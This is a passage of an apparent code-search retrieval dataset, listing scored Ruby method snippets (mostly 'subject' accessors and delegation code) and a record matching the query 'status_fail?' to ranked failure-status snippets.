"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "fe24bfcedd6e84c54f00eff713a0092d",
"score": "0.60950017",
"text": "def subject\n raise \"Override #subject in the service class\"\n end",
"title": ""
},
{
"docid": "7333e31c6268c86fc82e97d462c85d54",
"score": "0.60610497",
"text": "def subject; @message_impl.getSubject; end",
"title": ""
},
{
"docid": "a2a6aa1e1a60fa1ae0abd02b824d8c14",
"score": "0.58596045",
"text": "def method_missing(name, *args)\n @subject.send(name, *args)\n end",
"title": ""
},
{
"docid": "a2a6aa1e1a60fa1ae0abd02b824d8c14",
"score": "0.58596045",
"text": "def method_missing(name, *args)\n @subject.send(name, *args)\n end",
"title": ""
},
{
"docid": "507d03ccda9a0dccd159b648e6c0be28",
"score": "0.58289766",
"text": "def on subject\n @subject = subject\n self\n end",
"title": ""
},
{
"docid": "43da9fed4ce5a16dc03c08bde32b887e",
"score": "0.57761705",
"text": "def method_missing(message, *args, &block)\n subject.send(message, *args, &block)\n end",
"title": ""
},
{
"docid": "6882cc7c99d36c544b148119e54bb716",
"score": "0.57544917",
"text": "def create_isolation_for(subj)\n imembers = @descriptor.instance_members\n cmembers = @descriptor.class_members\n\n klass = Object.const_set(class_name(subj), Class.new(subj))\n klass.class_eval do\n\n include Interception\n\n # access to the proxied subject\n def ___super___\n isolation_context.instance\n end\n\n imembers.each do |mn|\n mn = mn.name.to_s.to_sym\n define_method mn do |*args|\n b = nil\n b = Proc.new { yield } if block_given? \n isolation_context.send_message(mn, nil, *args, &b)\n end\n end \n \n def initialize(*args) \n self \n end \n \n cmembers.each do |mn|\n mn = mn.name.to_s.to_sym\n define_cmethod mn do |*args| \n return if mn.to_s =~ /$(singleton_)?method_added/ and args.first.to_s =~ /$(singleton_)?method_added/\n b = nil\n b = Proc.new { yield } if block_given? \n isolation_context.send_class_message(mn, nil, *args, &b)\n end\n end \n\n end\n\n klass\n end",
"title": ""
},
{
"docid": "4f1743880cd3ac079c08afb9f42cdeb2",
"score": "0.5738891",
"text": "def to_proxy(*)\n raise NotImplementedError, \"#{__method__} must be implemented in a descendant class!\"\n end",
"title": ""
},
{
"docid": "4f1743880cd3ac079c08afb9f42cdeb2",
"score": "0.5738891",
"text": "def to_proxy(*)\n raise NotImplementedError, \"#{__method__} must be implemented in a descendant class!\"\n end",
"title": ""
},
{
"docid": "19aa7673da40f10fd51b62870013f6de",
"score": "0.56573975",
"text": "def get_subject\n\t\tend",
"title": ""
},
{
"docid": "353910f19ace40cfa39ea943b731e6c9",
"score": "0.5644116",
"text": "def inspect\n \"<#{self.class}:#{self.object_id} @subject: #{@subject}>\"\n end",
"title": ""
},
{
"docid": "d2f26cb27e81ae8b03fd141a0f231955",
"score": "0.5609921",
"text": "def subject=(subject); @message_impl.setSubject subject; end",
"title": ""
},
{
"docid": "e9b144cd8d1534f9724e54c92daf43ad",
"score": "0.5599904",
"text": "def subject\n @subject\n end",
"title": ""
},
{
"docid": "e9b144cd8d1534f9724e54c92daf43ad",
"score": "0.5599904",
"text": "def subject\n @subject\n end",
"title": ""
},
{
"docid": "d20b88031f5a771c6b15b801e4f55f19",
"score": "0.55043304",
"text": "def subject\n @subject\n end",
"title": ""
},
{
"docid": "4227127a4eedbb51a0e71293469026ee",
"score": "0.5498109",
"text": "def subject\n self.klass.subject\n end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "b417a4e1553962dad4a16a3b1b95162a",
"score": "0.549407",
"text": "def subject=(_arg0); end",
"title": ""
},
{
"docid": "00506b680b86984fe31eadcb278a4e9c",
"score": "0.5461878",
"text": "def subject=(subject)\n @original_subject = subject\n @subject = subject.instance_of?(Class) ? subject.allocate : subject\n end",
"title": ""
},
{
"docid": "d9e85a3d64075946104e1c55bb1f89d0",
"score": "0.5381051",
"text": "def subject\n @subject ||= connection.get(path_prefix){|req| req.params.merge!params }.body\n end",
"title": ""
},
{
"docid": "7ad2c0f013c62a3e9edad838c694bc91",
"score": "0.5339291",
"text": "def subject\n self['subject']\n end",
"title": ""
},
{
"docid": "642dec9f95d28c17d5be8380702b63e2",
"score": "0.5326704",
"text": "def payload; end",
"title": ""
},
{
"docid": "642dec9f95d28c17d5be8380702b63e2",
"score": "0.5326704",
"text": "def payload; end",
"title": ""
},
{
"docid": "69929d6393325557fc9d8c29db5675cb",
"score": "0.5325383",
"text": "def initialize(subject)\n @subject = subject\n end",
"title": ""
},
{
"docid": "db26a074283c3eefb7ef7b4a06e8932e",
"score": "0.5317385",
"text": "def subject\n @subject ||= connection.get(path_prefix){|req| req.params.merge!params }.body\n end",
"title": ""
},
{
"docid": "f4e6fe8da986b3b567a6c860e33c1f86",
"score": "0.5303",
"text": "def inspect\n sprintf(\n \"#<%s:%#0x SUBJECT:%s>\",\n self.class.to_s, self.object_id, self.subject\n )\n end",
"title": ""
},
{
"docid": "64875541f8c42bdd60f0a7e3f539b0ba",
"score": "0.5246805",
"text": "def delegating_method; end",
"title": ""
},
{
"docid": "87f0b3a800f4cc2a0f07a8ad92ec2d61",
"score": "0.5243091",
"text": "def subjects\n subjects_array = object.syncable_subjects.to_a\n\n return subjects_array unless object.is_send?\n\n subjects_array << Subject.new(subject_code: \"U3\", subject_name: \"Special Educational Needs\")\n\n subjects_array\n end",
"title": ""
},
{
"docid": "6a1b751270e99a2c6ab5b3813cf0dd60",
"score": "0.5242601",
"text": "def createDiarySubject _obj, _args\n \"_obj createDiarySubject _args;\" \n end",
"title": ""
},
{
"docid": "98aea16fd16bcade61f388b057a7ce98",
"score": "0.5218726",
"text": "def set_subject(subject)\n\t\tend",
"title": ""
},
{
"docid": "bcc0d5e5877ec84e27d6f5cb45edb698",
"score": "0.5211862",
"text": "def proxy\n super\n end",
"title": ""
},
{
"docid": "27de25c2276a22bd0c6e97412cb39a2a",
"score": "0.52035844",
"text": "def transform(msg, extended: false)\n case msg\n when LookupService::Data, Lookup::Crossref::Api::Message\n # OK as is.\n else\n msg = Lookup::Crossref::Message::Work.new(msg)\n end\n super(msg, extended: extended)\n end",
"title": ""
},
{
"docid": "204083cc8197e09e06ff96d95103eaf0",
"score": "0.5189314",
"text": "def as_json(options)\n super().merge!(type: \"subject\")\n end",
"title": ""
},
{
"docid": "d620bf96801dec8943f895bc4782e7c4",
"score": "0.5177076",
"text": "def subject\n return @subject\n end",
"title": ""
},
{
"docid": "d620bf96801dec8943f895bc4782e7c4",
"score": "0.5177076",
"text": "def subject\n return @subject\n end",
"title": ""
},
{
"docid": "d620bf96801dec8943f895bc4782e7c4",
"score": "0.5177076",
"text": "def subject\n return @subject\n end",
"title": ""
},
{
"docid": "d620bf96801dec8943f895bc4782e7c4",
"score": "0.5177076",
"text": "def subject\n return @subject\n end",
"title": ""
},
{
"docid": "d620bf96801dec8943f895bc4782e7c4",
"score": "0.5177076",
"text": "def subject\n return @subject\n end",
"title": ""
},
{
"docid": "d620bf96801dec8943f895bc4782e7c4",
"score": "0.5177076",
"text": "def subject\n return @subject\n end",
"title": ""
},
{
"docid": "90cd027841df5beac4e92385a826acad",
"score": "0.5168842",
"text": "def subject(&block); end",
"title": ""
},
{
"docid": "7ef2893382e279f8bf7f693f2eb79c7d",
"score": "0.51612663",
"text": "def delegate_object; end",
"title": ""
},
{
"docid": "cea2f3562cc3f5380093bb0e61cacf49",
"score": "0.51407415",
"text": "def delegate_object_reader_method; end",
"title": ""
},
{
"docid": "4b863a5026d514c32f96ecad110f3021",
"score": "0.51353705",
"text": "def subject_for(key); end",
"title": ""
},
{
"docid": "2b7edcfa0061e1903fab7e33f242e256",
"score": "0.5135253",
"text": "def method_missing(symbol, *args, &block) # :nodoc:\n if tmail.respond_to?(symbol)\n tmail.__send__(symbol, *args, &block)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "c4c2dab58c5129a0092ca7444c370abf",
"score": "0.5106703",
"text": "def subject=(value)\n unless value =~ METHOD_DEF\n raise ArgumentError, \"not a method definition: #{value}\"\n end\n \n @method_name = $1\n @arguments = scan_args($2)\n \n super\n end",
"title": ""
},
{
"docid": "d69ca6eee61de2cb65b953596aa39a37",
"score": "0.5091335",
"text": "def method_missing(sym, *args, &block)\n @subject.send sym, *args, &block\n end",
"title": ""
},
{
"docid": "6b784150e3eac2812f94f0d2a823efd9",
"score": "0.50905764",
"text": "def method_missing method, *args\n original_message.send method, *args\n end",
"title": ""
},
{
"docid": "0430fcb54c66e851b80c3144eb3b6a82",
"score": "0.508578",
"text": "def subject\n subtype_instance\n end",
"title": ""
},
{
"docid": "cb69be64d04ed7a19e81b422fcad6231",
"score": "0.5080611",
"text": "def prep_subject(subject)\n add_command_requirements(subject)\n @command_set.add_defaults(subject)\n subject.required_fields(subject_requirements())\n subject.undo_stack = @undo_stack\n subject.command_set = @command_set\n subject.chain_of_command = @commands_pending\n subject.pause_decks = @pause_decks\n subject.mode_stack = @sub_modes\n return subject\n end",
"title": ""
},
{
"docid": "b3bd310b6051dafb4a5637a65fe1c273",
"score": "0.5078344",
"text": "def extend_object(obj) end",
"title": ""
},
{
"docid": "a081976746494bbddb550849c6e6cf2e",
"score": "0.5073409",
"text": "def subject\n self['subject'] || msg['subject']\n end",
"title": ""
},
{
"docid": "5ace56feb3ff70d29f4c66ccb004ae7c",
"score": "0.5069462",
"text": "def public_instance_methods(include_super=true) end",
"title": ""
},
{
"docid": "e2cd1fb929da4fb61a18f70f54d23558",
"score": "0.50671846",
"text": "def with_subject(*args, &b)\n isolation_context.instance = self.class.superclass.new *args \n b.call self if b\n self\n end",
"title": ""
},
{
"docid": "655cc36cef07906df99c8909cb7c6859",
"score": "0.50573426",
"text": "def subject\n message.subject\n end",
"title": ""
},
{
"docid": "64a797e672370d555046b0c2fba94364",
"score": "0.50553787",
"text": "def other_subjectify(options = {})\n generate_links(:subject, options)\n end",
"title": ""
},
{
"docid": "a70cd38892e1723254d0bb1f828cb524",
"score": "0.5040066",
"text": "def dispatch\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "381fb7a511251caa55e431474a1a0339",
"score": "0.50367975",
"text": "def write_subject\n self.subject ||= self.class.instance_variable_get(\"@job_name\")\n end",
"title": ""
},
{
"docid": "6c5b76f8a2f2222fc867bcc3e632f27d",
"score": "0.501231",
"text": "def client_code(subject)\n # ...\n\n subject.request\n\n # ...\nend",
"title": ""
},
{
"docid": "fd40e880e72647ca6d2d1ab7f5505987",
"score": "0.49905798",
"text": "def delegate_method; end",
"title": ""
},
{
"docid": "c59300dc22bd0506c9cced265b4979f3",
"score": "0.4983942",
"text": "def set_payload\n self.payload = self.create_payload\n end",
"title": ""
},
{
"docid": "1c8c384f17dd7c9426199f52f0de4b3c",
"score": "0.4967773",
"text": "def issuable_metadata(subject, options, method, args = nil)\n cached_subject = options.dig(:issuable_metadata, subject.id)\n (cached_subject || subject).public_send(method, *args) # rubocop: disable GitlabSecurity/PublicSend\n end",
"title": ""
},
{
"docid": "2446ead1d64b30190ece63bc359801e9",
"score": "0.4964986",
"text": "def subject_class\n self.class.subject_class\n end",
"title": ""
},
{
"docid": "107b3cb94a72f75f8e58aca4f1c92c23",
"score": "0.4959603",
"text": "def build_newsletter\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "9fa70883026f5653ab8a9574946ef7d6",
"score": "0.4950727",
"text": "def initialize(subject)\n \n #Download alias action\n # Fix compatibility with Cancan 1.6.9\n # https://github.com/ging/social_stream/commit/cfd058e062fcd3bbcbc0b8bdbd11258a978f025a\n alias_action :download, :to => :read\n \n # Activity Objects\n (SocialStream.objects - [ :actor, :comment ]).map{ |obj|\n obj.to_s.classify.constantize\n }.each do |klass|\n can :create, klass do |k| # can :create, Post do |post|\n k.build_post_activity.allow?(subject, 'create')\n end\n\n can :read, klass do |k| # can :read, Post do |post|\n k.post_activity.allow?(subject, 'read')\n end\n\n can :update, klass do |k| # can :update, Post do |post|\n k.post_activity.allow?(subject, 'update')\n end\n\n can :destroy, klass do |k| # can :destroy, Post do |post|\n k.post_activity.allow?(subject, 'destroy')\n end\n end\n\n can :create, Comment do |c|\n c._activity_parent.allow?(subject, 'read')\n end\n\n can :read, Comment do |c|\n c.post_activity.allow?(subject, 'read')\n end\n\n can :update, Comment do |c|\n c.post_activity.allow?(subject, 'update')\n end\n\n can :destroy, Comment do |c|\n c.post_activity.allow?(subject, 'destroy')\n end\n\n # Activities\n can :create, Activity do |a|\n a.allow?(subject, 'create')\n end\n\n can :read, Activity do |a|\n a.allow?(subject, 'read')\n end\n\n can :update, Activity do |a|\n a.allow?(subject, 'update')\n end\n\n can :destroy, Activity do |a|\n a.allow?(subject, 'destroy')\n end\n\n # Users\n can :read, User\n\n can :update, User do |u|\n u.represented_by?(subject)\n end\n\n # Groups\n can :read, Group\n\n can :create, Group do |g|\n subject.present? &&\n g._contact.sender_id == Actor.normalize_id(subject)\n end\n\n can :update, Group do |g|\n g.represented_by?(subject)\n end\n\n can :destroy, Group do |g|\n g.represented_by?(subject)\n end\n\n can :read, Profile\n\n # Profile\n can :update, Profile do |p|\n p.subject.represented_by?(subject)\n end\n\n # Privacy\n can [:create, :read, :update, :destroy], Relation::Custom, :actor_id => subject.try(:actor_id)\n end",
"title": ""
},
{
"docid": "9ba4a3a88cb0c3ed574da436b959cbac",
"score": "0.49311244",
"text": "def methods\n super + property.keys.map { |v| [\"configure_#{v}\".to_sym, \"request_#{v}\".to_sym] }.flatten\n end",
"title": ""
},
{
"docid": "85d699012b365ef17e22b8b1c78de6df",
"score": "0.4919049",
"text": "def assign_canned_subject\n self.subject = canned_subject\n end",
"title": ""
},
{
"docid": "0b130e143276d18d29d888772e5220ec",
"score": "0.4918706",
"text": "def proxy; self end",
"title": ""
},
{
"docid": "483cba5c438505d886663974c9860d52",
"score": "0.4917162",
"text": "def append_info_to_payload(payload); end",
"title": ""
},
{
"docid": "d4f219370621a281ea0b30f7c8af0671",
"score": "0.4915342",
"text": "def method_missing(method, *args, &body)\n\n if in_set?([\"<<\",\"clear\",\"delete\"],method.to_s)\n\n # DEPRICATED CODE:\n if !call_if_exists(@parent, \"gr_#{@target.proxy_reflection.name.to_s}_w?\")\n guard_rails_error(\"Not authorized to use #{method.to_s} on read-only object\")\n end\n # END OF DEPRICATED CODE\n\n failed = false\n \n # If the parent, the proxy, the Rails proxy, or the array itself\n # fail to allow edits, then the edit methods will be prohibited\n\n if @parent.respond_to?(\"gr_can_edit?\")\n if [email protected]_can_edit?\n failed = true\n end\n end\n if @target.respond_to?(\"gr_can_edit?\")\n if [email protected]_can_edit?\n failed = true\n end\n end\n if self.respond_to?(\"gr_can_edit?\")\n if !self.gr_can_edit?\n failed = true\n end\n end\n if @target.respond_to?(\"proxy_reflection\")\n if [email protected]_can_edit?\n failed = true\n end\n end\n\n # << counts as an append method, so it can be performed, even without\n # write access, as long as one of the objects in quesiton actively \n # allows append access (note that not specifying append access at all)\n # does not count the same as directly saying append access is allowed,\n # as it would with any other type of access control policy\n\n if failed and method.to_s==\"<<\" \n if @parent.respond_to?(\"gr_can_append?\")\n if @parent.gr_can_append?\n failed = false\n end\n end\n if @target.respond_to?(\"gr_can_append?\")\n if @target.gr_can_append?\n failed = false\n end\n end\n if self.respond_to?(\"gr_can_append?\")\n if self.gr_can_append?\n failed = false\n end\n end\n if @target.respond_to?(\"proxy_reflection\")\n if @target.target.gr_can_append?\n failed = false\n end\n end\n # If the method in question is << and there is no\n # append access, the violation policy for append access\n # will be run.\n\n # TODO: check to make sure that this line cannot be \n # reached if << was called but no append access annotation\n # was defined\n return eval_violation(:append_access) if failed\n end\n \n # If the method is blocked for write access reasons, call\n # the appropriate violation method\n eval_violation(:write_access) if failed\n end\n\n # DEPRICATED CODE: Allows specific methods to be singled out as allowed\n # or not based on gr_ methods in the object that \"owns\" this reflection.\n # This feature is currently unused, but might be useful\n special_function = \"gr_#{@target.proxy_reflection.name.to_s}_#{method.to_s}\"\n if @parent.respond_to?(special_function)\n if [email protected](special_function)\n guard_rails_error(\"Not authorized to use #{method.to_s} on this object\")\n end\n end\n # END OF DEPRICATED CODE\n\n # If 'find' is used on the plural association, make sure that none of its\n # parameters contain unsafe SQL (aka call the appropriate 'transform' method\n # on that string).\n if method.to_s == \"find\"\n args = clean_args(args)\n end\n\n # As with all objects potentially pulled from the database, policies need\n # to be set up immediatly\n target.each do |obj|\n obj.populate_policies\n end\n \n # If no errors have been raised up to this point, pass the method on to the\n # target, along with any arguments or block that may have been provided\n if block_given?\n @target.target.send(method,*args,&body)\n else\n @target.send(method,*args,&body)\n end\n end",
"title": ""
},
{
"docid": "63f8d967f0ddaface446c278ba0e2ce9",
"score": "0.4906872",
"text": "def __send__(*rest) end",
"title": ""
},
{
"docid": "b2d5fb5dea9b48ebc0509fa417bee4ee",
"score": "0.49043563",
"text": "def instance_methods(include_super=true) end",
"title": ""
},
{
"docid": "b1d0dd90aca7aad95640667b62a030e6",
"score": "0.49011993",
"text": "def email_field(object_name, method, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "d471b9ac79c9914a17b660f71365d549",
"score": "0.4896238",
"text": "def decorated_object_behavior\n #code\n end",
"title": ""
},
{
"docid": "11721651bcbbc63b4d63fc06d9997982",
"score": "0.48876917",
"text": "def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end",
"title": ""
},
{
"docid": "8a8fb8143f618237a5066c925eeaac37",
"score": "0.4859016",
"text": "def via_payload\n\t\tself.via['Payload'] if (self.via)\n\tend",
"title": ""
}
] |
c441342de34ccad66bc755812d8e33d5
|
============================================================================== status_fail?() ============================================================================== Is the 'status' field set to 'fail'?
|
[
{
"docid": "06a615b3a2f6fae02be179096e9639fd",
"score": "0.71718705",
"text": "def status_fail?()\n return true if (@status == TAC_PLUS_AUTHOR_STATUS_FAIL)\n return false\n end",
"title": ""
}
] |
[
{
"docid": "3e6669ce8c1f16f32226596572d1df9f",
"score": "0.8527235",
"text": "def failed?; @status == 'failed' end",
"title": ""
},
{
"docid": "d76b215cab1fb3516e28460eb5c15c86",
"score": "0.83310246",
"text": "def failed?\n status == 'FAIL'\n end",
"title": ""
},
{
"docid": "8a6f3ed1ae4841f2216c80eac567d85b",
"score": "0.8152159",
"text": "def failed?\n status == :failure\n end",
"title": ""
},
{
"docid": "e3ecea71642de5290f164527e3f860cb",
"score": "0.7905131",
"text": "def failed?\n status != 0\n end",
"title": ""
},
{
"docid": "8543f947a9decdcdbedec7b0da41f854",
"score": "0.7895371",
"text": "def failed?\n status.nil?\n end",
"title": ""
},
{
"docid": "f2fdfb1a3a300700f6a7f4776b18acf7",
"score": "0.75590384",
"text": "def failed?\n status == ERROR_STATE\n end",
"title": ""
},
{
"docid": "68fe758ed10a381591e5036f5eb0e01d",
"score": "0.7538779",
"text": "def failed?\n @result == :FAIL\n end",
"title": ""
},
{
"docid": "2a9207e94621907b03e0b51c5fac9582",
"score": "0.74486417",
"text": "def failed?\n status == ERROR_STATE\n end",
"title": ""
},
{
"docid": "27af2aa53e39a10526eea342a7708feb",
"score": "0.740666",
"text": "def status_fail!()\n @status = TAC_PLUS_AUTHOR_STATUS_FAIL\n end",
"title": ""
},
{
"docid": "49f8aed2d05d0735da2b8ed5832d309c",
"score": "0.7353858",
"text": "def failed?(status)\n !succeeded?(status)\n end",
"title": ""
},
{
"docid": "5e4910de5eff15e64f35c14a2f7d94d4",
"score": "0.7352987",
"text": "def failed?\n self.status == \"fail_critical\"\n end",
"title": ""
},
{
"docid": "c77b4b361dc8610deb11f92ba2b2255e",
"score": "0.7332537",
"text": "def set_has_test_failed(status)\r\n @@test_case_fail = status\r\n end",
"title": ""
},
{
"docid": "393203874182e2fc90eb1e93b26d9035",
"score": "0.7278138",
"text": "def failed?\n @state == :failed\n end",
"title": ""
},
{
"docid": "e8250e1a569bf98ae4ef4ff770100337",
"score": "0.7250149",
"text": "def fail\n { :status => :fail }\n end",
"title": ""
},
{
"docid": "d480b3ba702f8be22bda0ba863adafbd",
"score": "0.7212562",
"text": "def check_status(status); end",
"title": ""
},
{
"docid": "d480b3ba702f8be22bda0ba863adafbd",
"score": "0.7212562",
"text": "def check_status(status); end",
"title": ""
},
{
"docid": "9614d4df2adbe30425237b7eacf1bb3c",
"score": "0.7163406",
"text": "def error\n\t\t\t\t\tunless status.success?\n\t\t\t\t\t\tstatus\n\t\t\t\t\tend\n\t\t\t\tend",
"title": ""
},
{
"docid": "10ead53e06a94c09fa2e5e02095f66df",
"score": "0.71251756",
"text": "def failed?\n @failed\n end",
"title": ""
},
{
"docid": "10ead53e06a94c09fa2e5e02095f66df",
"score": "0.71251756",
"text": "def failed?\n @failed\n end",
"title": ""
},
{
"docid": "f78f007ac13b5b59cc77b08fe2ec2497",
"score": "0.7115885",
"text": "def failed?\n @fail_tag == \"failure\"\n end",
"title": ""
},
{
"docid": "5a491f7a1be3e55ede3979cd4411d327",
"score": "0.71144116",
"text": "def failed?\n state == :failed\n end",
"title": ""
},
{
"docid": "5a491f7a1be3e55ede3979cd4411d327",
"score": "0.71144116",
"text": "def failed?\n state == :failed\n end",
"title": ""
},
{
"docid": "7fa8827d1e021bbf0243d89bf4857f55",
"score": "0.70789814",
"text": "def failed?\n !success\n end",
"title": ""
},
{
"docid": "7f14249f7c16da496b8ec21f6e6413dd",
"score": "0.70578474",
"text": "def failure?\n state == :failure\n end",
"title": ""
},
{
"docid": "905665f734ad954219683735f47b1efc",
"score": "0.70529103",
"text": "def failed?\n !!failure_state\n end",
"title": ""
},
{
"docid": "589c2c2645c3412d2e65655bf5669538",
"score": "0.70525897",
"text": "def failed?\n @failed\n end",
"title": ""
},
{
"docid": "4d3f7ae8b887ec3aa1ec22e4fa80ff57",
"score": "0.70435035",
"text": "def only_failures?; end",
"title": ""
},
{
"docid": "78765550047dfc40aef26541d67790bf",
"score": "0.70395315",
"text": "def failed?\n @failed\n end",
"title": ""
},
{
"docid": "64b09d5a01009a998678a293a302236a",
"score": "0.69837147",
"text": "def failed?\n\t\t\treturn request_status == REQUEST_STATUS['failed']\n\t\tend",
"title": ""
},
{
"docid": "36faa56ff59e244f6437dbac8b632962",
"score": "0.6977673",
"text": "def failed?\n @failed\n end",
"title": ""
},
{
"docid": "36faa56ff59e244f6437dbac8b632962",
"score": "0.6977673",
"text": "def failed?\n @failed\n end",
"title": ""
},
{
"docid": "33bb020ec5c6b49fb612c716e0ad7c8e",
"score": "0.69664025",
"text": "def passed?\n status == 'PASS'\n end",
"title": ""
},
{
"docid": "f496ae6fdf3385d27234108d6c72dc7e",
"score": "0.69581205",
"text": "def failed?\n\t\t\t\t@failures > 0\n\t\t\tend",
"title": ""
},
{
"docid": "e6426ad406b7d633ff0b19486d18873f",
"score": "0.69526124",
"text": "def good?() status == 1 end",
"title": ""
},
{
"docid": "e3415a0ca3e207f3a9631b302e3a8d49",
"score": "0.6951914",
"text": "def failure\n @success = false\n end",
"title": ""
},
{
"docid": "1c2f50854e8e44fd7795642469495790",
"score": "0.6944899",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "1c2f50854e8e44fd7795642469495790",
"score": "0.6944899",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "1c2f50854e8e44fd7795642469495790",
"score": "0.6944899",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "1c2f50854e8e44fd7795642469495790",
"score": "0.6944899",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "1d65f94e79b80d196fa3f6045c3df596",
"score": "0.6920927",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "11c96f4082999e2a8f8dc7fd86bf6b13",
"score": "0.69110495",
"text": "def success?\n self['status'] != 'error'\n end",
"title": ""
},
{
"docid": "7118294f327f1cff51478cac6fa7d260",
"score": "0.6892936",
"text": "def only_failures; end",
"title": ""
},
{
"docid": "b972819541b26757de4264405fd98d43",
"score": "0.68905365",
"text": "def failed?\n true\n end",
"title": ""
},
{
"docid": "7179714f52afaac0cbf8232b2d458a87",
"score": "0.68717396",
"text": "def failure?\n self.state == :failure\n end",
"title": ""
},
{
"docid": "67973a180f1708226b4bf5f101e8f0b5",
"score": "0.6859481",
"text": "def failed?\n !successful?\n end",
"title": ""
},
{
"docid": "fc933da3f4298cbfcb2a49ca94a171fd",
"score": "0.683203",
"text": "def invalid?\r\n invalid_status?\r\n end",
"title": ""
},
{
"docid": "5e67296862784468f00498e5aeb15d74",
"score": "0.68319625",
"text": "def status\n # examples.any?(&:failed?) ? 'failed' : 'passed'\n summary.failure_count.zero? ? 'passed' : 'failed'\n end",
"title": ""
},
{
"docid": "20933d25808989511b24a46db2a7dd84",
"score": "0.68291414",
"text": "def failed?\n !!@failure\n end",
"title": ""
},
{
"docid": "15f8c3b84beb6c9668597b7707bf7ba4",
"score": "0.6822858",
"text": "def invalid?\n status == :invalid\n end",
"title": ""
},
{
"docid": "cc95299b35866c74e41307768102cc63",
"score": "0.68208766",
"text": "def failed?; failed_to_start? || (@success == false) end",
"title": ""
},
{
"docid": "04e52fe4582bc010343bc094daf54790",
"score": "0.6818951",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "04e52fe4582bc010343bc094daf54790",
"score": "0.6818951",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "04e52fe4582bc010343bc094daf54790",
"score": "0.6818951",
"text": "def failed?\n !success?\n end",
"title": ""
},
{
"docid": "5e4efbb61c0b77d9db3a479bc8f67dee",
"score": "0.6817883",
"text": "def get_status\n case status\n when 1\n \"Pass\"\n when 0\n \"Warning\"\n when -1\n \"Fail\"\n else\n \"Error\"\n end\n end",
"title": ""
},
{
"docid": "8760d98c60ef7d2372f55ef65ca65e5a",
"score": "0.68137056",
"text": "def failure?\n response && @status.failure?\n end",
"title": ""
},
{
"docid": "ae4251a016536e2eac67d35941eec277",
"score": "0.68105125",
"text": "def succeeded?; @failures.empty?; end",
"title": ""
},
{
"docid": "3363d7a7459df483fc7605c809c08018",
"score": "0.68094647",
"text": "def track_failure\n if @return_status.nil? || @return_status == 1\n @return_status = 1\n else\n @return_status = 2\n end\n end",
"title": ""
},
{
"docid": "550e2b58b21e3d7e27cd9d45654b7110",
"score": "0.68002605",
"text": "def failure?\n @failure == true\n end",
"title": ""
},
{
"docid": "b986c9b600c4d850898af2fc44d82123",
"score": "0.67981374",
"text": "def failure?\n !successful?\n end",
"title": ""
},
{
"docid": "7d49f0eed16e37ce3f5ed6ad5b1c07b9",
"score": "0.67972964",
"text": "def failure\n @failure = true\n end",
"title": ""
},
{
"docid": "0b2d8e8af2f675bc2002aa7d6f34f7c5",
"score": "0.67820066",
"text": "def status_is_successful?\n\t\treturn self.status_category == 2\n\tend",
"title": ""
},
{
"docid": "17e0081d3d16950cb1650798c6ecd4a8",
"score": "0.6780792",
"text": "def status\n if detail_reports.where(\"status = ?\", -1).count >= 1\n \"Fail\"\n else\n \"Pass\"\n end\n end",
"title": ""
},
{
"docid": "82bad07395761a907e1bcd4bccd88202",
"score": "0.6768788",
"text": "def failed?\n false\n end",
"title": ""
},
{
"docid": "82bad07395761a907e1bcd4bccd88202",
"score": "0.6768788",
"text": "def failed?\n false\n end",
"title": ""
},
{
